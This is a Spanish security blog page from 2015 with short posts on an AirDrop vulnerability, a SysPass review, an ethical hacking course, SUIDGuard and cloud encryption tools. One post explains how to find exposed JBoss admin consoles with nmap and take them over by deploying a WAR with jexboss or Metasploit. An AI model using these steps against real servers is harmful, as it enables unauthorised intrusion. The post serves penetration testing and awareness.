El investigador de seguridad Mark Dowd ha descubierto una vulnerabilidad MUY grave en una librería presente en iOS y OSX, y fácilmente explotable a través de la aplicación AirDrop (propia de dispositivos Apple para intercambio de archivos) que permitiría la escritura de ficheros de forma ajena sobre sistemas iOS y OSX.

El video que incluimos a continuación, grabado por el propio investigador, demuestra dicha vulnerabilidad. Se puede ver el exploit para iOS 8.4.1:



Justo hoy se ha hecho pública la actualización de iOS 9, y esta vulnerabilidad obliga a todos sus usuarios la actualización de forma urgente. Dicha actualización no soluciona la vulnerabilidad por completo, pero si que ofrece una mitigación
Leer más...

13 septiembre 2015

08 septiembre 2015

Compartiendo credenciales con Syspass




Siempre he dicho que el buen profesor es el que enseña, pero que a la vez se deja enseñar y aprende sus alumnos.

Fue en el curso de Hardening de sistemas Windows, Linux e Infraestructuras, en el que un grupo de alumnos de una empresa, me comentó si recomendaba algún gestor de contraseñas corporativo. Con la cantidad de servicios en la nube que existen hoy en día, y precisamente habiendo sido Lastpass comprometido hacía poco, mencioné que utilizaba KeePassX como herramienta para gestionar las inmanejables identidades digitales que utilizo diariamente.

Sin embargo, cuando de lo que se habla es de compartir contraseñas para acceso a diferentes sistemas entre un equipo de personas, se hace necesario alguna herramienta que permita acceso concurrente por varios usuarios. KeePassX funciona muy bien, pero cuando el fichero está abierto no permite interacción por múltiples usuarios a la vez. Aparte que sólo hay una contraseña que protege todo el contenedor cifrado y se tiene acceso a todas las credenciales.

Parece necesario entonces un sistema que permita garantizar la confidencialidad de los datos, el acceso concurrente, así como la granularidad suficiente para permitir sólo determinadas credenciales. Importante también que se pueda acceder a categorías y separar por clientes. Pues eso es SysPass

Se trata de una aplicación PHP, que almacena los datos en una base de datos MySQL. Como se puede ver en la Wiki es bastante sencilla la instalación, y muy intuitiva la configuración. 

El orden recomendado si pretendes crear contraseñas de uso compartido sería: Crear usuarios, crear clientes/categorías y luego crear cuentas. 

Tiene un interfaz muy intuitiva y agradable de usar, permitiendo generar contraseñas al propio sistema o introducir manualmente lo que queramos, así como dejar notas en un campo comentarios o incluso subir ficheros. Esto es útil para aquellas autenticaciones que requieran un keyfile o simplemente como repositorio de documentación sobre el servicio al que se va a acceder.  




Para crear la cuenta, hay que asignar un cliente al menos, y da la oportunidad de dar acceso a usuarios sueltos o a grupos. Por defecto, cuando un usuario pertenece a un grupo, tiene una serie de propiedades como poder crear nuevas cuentas, poder hacer cambios o que sea de sólo lectura, etc,... 

Al crear una cuenta se puede habilitar la edición a usuarios sueltos o grupos únicamente para esa credencial en concreto.

Tiene una variedad de opciones bastante rica, permitiéndote integrar la aplicación con un directorio de usuarios LDAP, para que los usuarios sean los que extraiga de un grupo por ejemplo.  

Trasteando por el código fuente, dí con una función que permitía importar credenciales desde KeePassX.

Para esto, hay que exportar el contenedor desde KeePassX a XML. Puede ser un engorro si sólo se quiere una categoría en concreto, porque la opción exportar, no he encontrado forma de hacer que sólo sea de un grupo.

Limpiando el XML a mano, para dejar únicamente lo que necesitas (en el XML todas las credenciales están en claro), la aplicación permite importarlas correctamente.


Lo que no me ha gustado 

Hasta aquí, la herramienta funciona muy bien. Hace lo que tiene que hacer con soltura y permite compartir las credenciales según se necesite. Sin embargo, ha habido un par de cosas que se pueden mejorar.

1.-) Las credenciales se almacenan en un MySQL. Si se analiza la tabla accounts, se pueden ver los diferentes campos. Obviamente, las mismas están cifradas y llevan un salt que se guarda en un fichero de configuración. Sin embargo, SOLO se cifra la contraseña, estando el resto de los datos, en claro. Esto es que el nombre de usuario, URL/IP, están en claro. Si alguien se hiciese con el acceso a esta tabla, tendría acceso a información que, aunque no sea completa, ya le da pistas de usuarios válidos en un sistema, y le permitiría hacer ataques de fuerza bruta o de diccionario.

2.-) La herramienta te permite hacer backups, generando un fichero .sql o .tar.gz, que contiene un mysqldump de la base de datos completa y los ficheros que conforman la aplicación web entera. Esto estaría bien, si el directorio desde el que se almacena esta información, y se guarda, no estuviese hardcodeado, y fuese $syspass_path/backup/sysPass_db.sql y sysPass.tar.gz porque cualquier atacante con acceso al servidor, podría llevarse la base de datos completa (con las contraseñas cifradas) y los ficheros de configuración. Para mi gusto, el directorio de backups, en caso que sea imprescindible, debería dejar ser personalizable, y el nombre de fichero aleatorio.

Esto se arregla rápidamente, a nivel servidor web, con un fichero .htaccess en el directorio backup, que permita requerir autenticación previa para poder acceder a esos ficheros.



En resumen...  


  • Me ha parecido fácil de usar, potente y que cumple con su objetivo
  • Integración con otras apps, tanto para importar como para administrar los usuarios con un servidor centralizado
  • Se pueden mejorar la seguridad de la aplicación, cifrando en base de datos, el nombre de usuario y la URL/IP... o ya puestos, todos los campos sensibles a nivel usuario.
  • Ya que está montada, le daremos una oportunidad en Securízame, para ver si la usabilidad es tan buena como me lo parece.





Leer más...

07 septiembre 2015

Curso Online de Hacking Ético

Hoy, Lunes 7 de Septiembre, comienza el período de inscripción para un nuevo Curso Online de Hacking Ético organizado por Securízame, y que contará con 3 de los editores del blog Security By Default como formadores.



La formación está orientada a auditores, administradores de sistemas y especialistas en el sector de seguridad con un conocimiento medio. Debido a que se comenzará con una introducción, el curso también es idóneo para todos aquellos que quieran iniciarse en el mundo del Hacking Ético, o que quieran enfocar su carrera profesional a esta disciplina.

Profesores Curso Online Hacking Ético
El curso cuenta con los siguientes profesores y módulos de 8 horas cada uno, haciendo un total de 56 horas:
  • Módulo I - OSINT (Juan Garrido @tr1ana)
  • Módulo II - Hacking web y de sistemas (Lorenzo Martínez @lawwait y Yago Jesús @yjesus)
  • Módulo III - Metasploit avanzado y post exploitation (Carlos Pérez @Carlos_Perez)
  • Módulo IV - Scapy y Python para pentesters (Daniel García @ggdaniel)
  • Módulo V - Hacking de tecnologías inalámbricas (Raúl Siles @raulsiles)
  • Módulo VI - Hacking web avanzado (José Antonio Guasch @secbydefault)
  • Módulo VII - Creación de malware, evasión, exfiltración de datos y canales encubiertos (Pedro Sánchez @conexioninversa)
Es posible registrarse tanto al curso completo como a módulos por separado o combinando unos módulos con otros. Además, es posible optar al curso completo en formato grupo con un máximo de 5 asistentes, teniendo así una rebaja considerable en el precio.

El curso se celebrará entre el 5 de Octubre y el 19 de Noviembre de 2015, pudiéndose registrarse entre hoy 7 de Septiembre y el 3 de Octubre a través del formulario que encontraréis al final de esta página.

Obtén más información referente al curso, módulos, biografía de los formadores, así como costes y medios de pago, en este enlace. Si estás interesado ¡date prisa! ¡Las plazas son limitadas!
Leer más...

04 septiembre 2015

SUIDGuard, extensión de seguridad para OSX

SUIDGuard es una extensión (modulo de kernel) de OSX Yosemite y que implementa varias mitigaciones genéricas en este sistema operativo.

El autor, Stefan Esser, es un hacker muy reputado por sus exploits para IOS y en el mundo del PHP, para el que creó un parche "Suhosin" que previene de las vulnerabilidades más típicas de este lenguaje.

En cuanto a SUIDGuarda, las protecciones  de las que dispone son:

  • Proteger los ficheros binarios SUID/SGID de las variables de entorno del tipo DYLD_ modificando la cadena de caracteres por XYLD. Por aclarar a los foráneos de OSX, estas variables son el dynamic linker, equivalente a las LD_PRELOAD del mundo Linux. Un exploit funcional (ya parcheado) lo creo el propio autor de esta herramienta. DYLD_PRINT_TO_FILE.
  • Proteger el flag O_APPEND para que no sea deshabilitado por otro usuario, este flag es generalmente utilizado por aplicaciones que almacenan registros y que cada vez que abren un manejador no sobreescriben su contenido.
  • Deshabilitar la ejecución de los binarios ejecutables sin segmento __PAGEZERO, que evitará un determinado tipo de exploits (kernel NULL derefs) como por ejemplo tpwn.
La forma más sencilla de instalar la extensión es descargar el paquete DMG disponible en su GitHub y ejecutarlo. Ya que al ser un módulo de kernel, si se compila, habrá que lidiar con la protección del propio sistema operativo para añadir módulos no firmados.

Una vez instalado, se puede comprobar con el comando "kextstat" y si detecta algún exploit aparecerá en el registro de "dmesg" una línea como la que se muestra en la imagen avisando de que ha neutralizado una ejecución.

Comprobación del funcionamiento de SUIDGuard.

Leer más...

03 septiembre 2015

30 Segundos Pwn - Jboss 4, 5 y 6.

Hace ya unos 7 años que existen herramientas automáticas para la explotación de servidores JBoss, incluso  metasploit tiene un módulo para la detección y explotación.

Pero siguen apareciendo scripts que automatizan el proceso de: acceder al /jmx-console (versión 4, 5 y 6), /web-console/Invoker (v4) o /invoker/JMXInvokerServle (v4 y v5) y desplegar un war que permita ejecutar comandos.

... Y pese a que es sencillo hacerlo manualmente, más sencillo es con una sola línea de comandos.

Incluso tras los gusanos e incidentes que han ocurrido en todo este tiempo, las probabilidades de encontrar un servidor con Jboss en una una red local es muy alta.

Para mi gusto la forma más sencilla  de buscar Jboss es el uso del parámetro -sV de Nmap e identificar aquellos que respondan con "Apache Tomcat/Coyote". Para vulnerabilidades concretas siempre se puede usar el correspondiente script, por ejemplo: http-vuln-cve2010-0738.nse, aunque no es el único CVE que existe y solo mostrará parte de la foto. Por supuesto, hay mil alternativas más, como cualquier herramienta de análisis de vulnerabilidades, metasploit, etc.

nmap en busca de jbosses perdidos.
Para explotarlas, una opción actualizada recientemente es "jexboss" que he probado en una CentOS 6 con Jboss 6 y ha funcionado tal y como se esperaba. Esta utilidad también es una de las muchas que hay como son jboss autopwn, los módulos del "hasta en la sopa" Metasploit o los scripts de redteam pentesting.

Dejo un par de capturas para ver su aspecto, que por cierto, no tiene paquete en Kali.

Jexboss explotando un jmx-console en Jboss 6

Comando "ps" ejecutado en la consola interactiva de jexboss

Referencias:

Leer más...

02 septiembre 2015

Cifrado de archivos en la nube

Hace ya algunos añitos que Yago comentaba en este mismo blog los mecanismos para cifrar archivos en tiempo real para posteriormente sincronizarlos con la nube.  Como el panorama ha cambiado un poco, me tomo la libertad de actualizar ese artículo con las últimas novedades y otros métodos alternativos.

Siempre teniendo en cuenta que la nube no existe, solo son los ordenadores de otras personas tal y como muestra la pegatina que acompaña la entrada. Así que si realmente no quieres que alguien obtenga tus ficheros, no uses nubes públicas y monta un owncloud, seafileSparkleShare o similares en tu propio servidor, lejos de las largas manos de los curiosos. Por supuesto, en el caso de estos productos, también se puede cifrar tal y como se describe a continuación. Si por pereza, coste, o porque realmente "las fotos del gato no son tan importantes" (y al final la clasificación del dato es lo realmente relevante), puedes asumir el riesgo utilizando servicios públicos como Dropbox, Google Drive, OneDrive o cualquier otro, y una de estas herramientas.

Boxcryptor: versión gratuita y comercial (36€/año), requiere crear una cuenta en su portal. En la versión gratuita solo permite usar dos dispositivos; un PC y un móvil por ejemplo. Tampoco permite el uso de distintos servicios simultáneamente. Es multiplataforma como casi todas las demás. La aplicación crea una unidad virtual, que permite acceder en tiempo real a los ficheros de las carpetas de la nube y cifrarlos o descifrarlos según nuestra necesidad. Los nombres de los ficheros no se ocultan. Soporta cifrar ficheros para grupos de usuario. La aplicación móvil solo permite acceder a los ficheros en modo lectura. También existe acceso a la versión classic, que si cifra los nombres de fichero, pero no permite seleccionar que se cifra y que no, simplemente, cifra todo.

Gestión de permisos de Boxcryptor
Cloudfogger: actualmente esta aplicación es gratuita y no tiene sistema de licenciamiento, aunque muy posiblemente lo implanten pronto. Limitan el uso de dispositivos a 5. Multiplataforma, con clientes para dispositivos móviles, Su principal problema es que no cifra el nombre del fichero y la aplicación móvil tampoco permite escribir. Requiere cuenta en su portal.

Panel principal de cloudfogger.

viivo:  creado por Pkware tiene una licencia de 5$ al mes y otra gratuita. Para Windows, Mac y IOS/Android. No cifra los nombres de ficheros. También permite compartir entre múltiples usuarios documentos cifrados. La versión comercial dispone de cifrado para móviles y dos factores de autenticación. Funciona de forma muy similar a cloudfogger, usando una carpeta directamente en el directorio sincronizado y de forma transparente para el cliente.

Viivo, configuración de carpetas.
Sookasa: licencia gratuita y profesional de 10$/mes, permite solo el uso de dropbox y google drive. Similar a las anteriores, no cifra los nombres de los ficheros. Para el usuario es transparente que se cifra. Soporte para Windows, OSX, Android e IOS. No limita el número de dispositivos en su versión gratuita, ni tampoco limita el de ficheros. Dispone de capacidades de auditoria en su versión comercial. La aplicación es muy (demasiado) sencilla.. Como en todas las demás, la app móvil no permite escribir en los directorios cifrados.

Sookasa: panel de preferencias.
SharedSafeno sé cómo se las han apañado para hacer algo que han mostrado tan sencillo todos los demás de una forma tan compleja que es necesario dedicarle 20 minutos a la aplicación para entenderla. Concepto completamente distinto al anterior, no es multiplataforma, no dispone de aplicaciones móviles... Bueno, en definitiva, tiene mucho margen para mejorar...

SharedSafe: configuración
EncFS MP: posiblemente una de las mejores alternativas. Es gratuita y multiplataforma. Se basa en lo mismo que las anteriores: referenciando una carpeta (que debe estar dentro de la carpeta sincronizada con la nube), cifra los archivos y sus nombres. Con el software y la contraseña se accede al contenido "montando" el directorio sobre una unidad virtual. Realmente es la actualización de EncFS. En Linux funciona perfectamente, otra cosa muy distinta es en Windows. Aunque existe compatibilidad, cuando se maneja un número muy alto de ficheros el rendimiento cae a niveles que deja de ser funcional. También tenemos que olvidarnos de plataformas móviles. No requiere darse de alta en ningún tercero.

EncFS MP
Truecrypt/LibreCrypt/VeraCrypt: Otra de las opciones más usadas y conocidas. No se basa en cifrar carpetas, lo hace mediante un único fichero (almacenado en el directorio sincronizado) que luego es montado en una unidad virtual. El inconveniente de esto es que dependiendo del software de almacenamiento hará una subida completa o parcial de este fichero cifrado cada vez que se añada contenido a él y y este fichero suele tener un tamaño muy elevado. Al fin y al cabo debe ocupar todo el espacio que deseemos tener libre en la unidad virtual una vez es montada.

Después de probarlas, no obtengo conclusiones claras ni un claro vencedor. En mi experiencia y durante el proceso me quedé con encfsmp, pero teniendo muy claro que tengo un límite de ficheros y que más de ese número, empezarán los problemas. Seguiremos viendo como evolucionan.


Leer más...